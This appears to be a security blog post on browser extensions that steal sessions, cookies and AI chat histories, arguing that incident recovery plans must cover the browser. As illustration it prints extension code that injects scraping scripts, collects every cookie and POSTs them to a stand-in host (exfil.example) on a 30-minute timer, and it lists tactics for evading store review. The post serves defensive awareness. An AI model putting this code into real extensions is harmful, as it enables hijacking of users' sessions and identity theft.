#PacketHunters: your recovery plan doesn’t include the browser, that’s why it will fail!

Field notes from malicious extensions exfiltrating identity, chats, and sessions

Let’s start with the uncomfortable truth: if your incident response playbook doesn’t explicitly mention browser extensions, you don’t have a recovery plan.
You have a hope strategy.

We keep seeing the same mistake: security teams think compromise starts on endpoints, networks, or servers. Meanwhile, attackers are living inside the browser, harvesting identity, sessions, and conversations, and peacefully walking straight past your controls.

This isn’t theoretical, damn! This week alone, researchers found browser extensions with hundreds of thousands of installs exfiltrating ChatGPT conversations, browsing activity, and authentication context every 30 minutes (ah, the AI training..).

No exploit chain.
No privilege escalation.
No malware alerts – just thinking about my friend JAMESWT who is a malware connoisseur!

Just permissions you clicked “Allow”.
Now read this last one as Bruce Dickinson posing the mic to the public to sing Fear of the Dark.

And, lads and fags, the browser is not a client anymore.. *drum roll* it’s an identity hub!

Modern browsers hold more sensitive material than most endpoints ever did:

• active SSO sessions
• OAuth tokens in memory
• cookies scoped to enterprise SaaS
• corporate email sessions
• internal app access
• AI chat histories containing proprietary data
• whatever you allow it to access, store, collect

And extensions run inside that trust boundary.
Once installed, an extension doesn’t need to “hack” anything, it just reads what the browser already considers legitimate.

What the attack actually looks like (simplified, real world)

Here’s a stripped-down version of what we’ve seen repeatedly.

1 – extension asks for “reasonable” permissions

{
  "permissions": [
    "storage",
    "tabs",
    "scripting",
    "cookies",
    "activeTab",
    "<all_urls>"
  ]
}

Nothing screams “malware”, right? This passes review.
Users install it because it promises productivity or AI features.

2 – extension hooks browser events

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === "complete") {
    chrome.scripting.executeScript({
      target: { tabId },
      func: scrapePage
    });
  }
});

At this point, the extension sees:

• URLs
• page content
• DOM
• active sessions

No exploit needed.

3 – session and identity data extraction

chrome.cookies.getAll({}, (cookies) => {
  fetch("https://exfil.example/api", {
    method: "POST",
    body: JSON.stringify(cookies)
  });
});

Ding! Ding! Ding! Congratulations!
That’s your authenticated SaaS session leaving the building.

MFA didn’t help.
SSO didn’t help.
Zero Trust didn’t help.
WTF did help? ..nothing.
Because identity was already established.

4 – slow, boring, invisible exfiltration

The smart ones don’t beacon aggressively.

setInterval(() => {
  exfiltrate();
}, 1800000); // every 30 minutes

Low frequency.
Low noise.
Blends with normal browser traffic. This is why detection almost never triggers.

“But Chrome reviews extensions, right?”

*EVIL LAUGH*
Yes. And attackers understand the process better than defenders.

What we’ve observed:

• time-bombed payloads (activate days after install)
• dormant code fetched post-approval
• permission creep via updates
• benign v1 → malicious v2 swaps
• abuse of Google Featured badge trust*

This is supply chain compromise, just closer to the user.

*ok, I just need to stop here, ’cause there a fucking amazing thing we’re brewing I could almost spoiler!

Why recovery fails here

When this is discovered, teams ask the wrong questions, and no one cares about the people on the other side.
So, they ask:

• Oh deeeaar! Was malware installed? Who did that?
• Ohh geeeez! Were servers compromised? No beep on our side!
• Hey, were credentials brute-forced? Let’s try HaveIbeenPwned!

Wrong ones!
They should be asking:

• Ok, please, which sessions were active?
• Ok, please, which identities were exposed?
• Ok, please, which tokens were harvested?
• Ok, please, which AI chats leaked proprietary data?
• Ok, please, which browser profiles synced this across devices?
• You cannot “recover” by uninstalling the extension.
• The damage already propagated and you allowed it.

The real problem (say it out loud)

Browsers are treated as personal tools, they are enterprise attack surfaces.
Better start planning recovery plans to focus on: endpoints, networks and servers.

..but the browser is where identity lives, if you don’t:

• inventory extensions
• restrict permissions
• monitor browser-level behavior
• invalidate sessions post-incident
• treat browser compromise as identity compromise

..then “recovery” is just Miranda Priestley (cosmetic).

Defensive reality (no vendor bullshit)

Real recovery here means forced global session invalidation AND token revocation across SaaS AND browser profile resets (each profile) AND identity re-verification AND extension allowlists (not one-sizes-fits-all) AND user retraining grounded in real abuse cases.

Yes, it’s a pain in the ass.
Yes, it’s disruptive.
Yes, it’s safer.So is explaining to legal why internal AI chats are on someone else’s server.

Ok, final thought

Attackers didn’t break your security stack, they happily walked around it.
Through the browser, through the trust, through the convenience.

Recovery Month isn’t about backups and playbooks, it’s more about acknowledging where identity actually lives, and defending that.

🤖 BRUCE’S THREAT NOTE

“Extension trusted. Identity exposed. Recovery complexity underestimated.”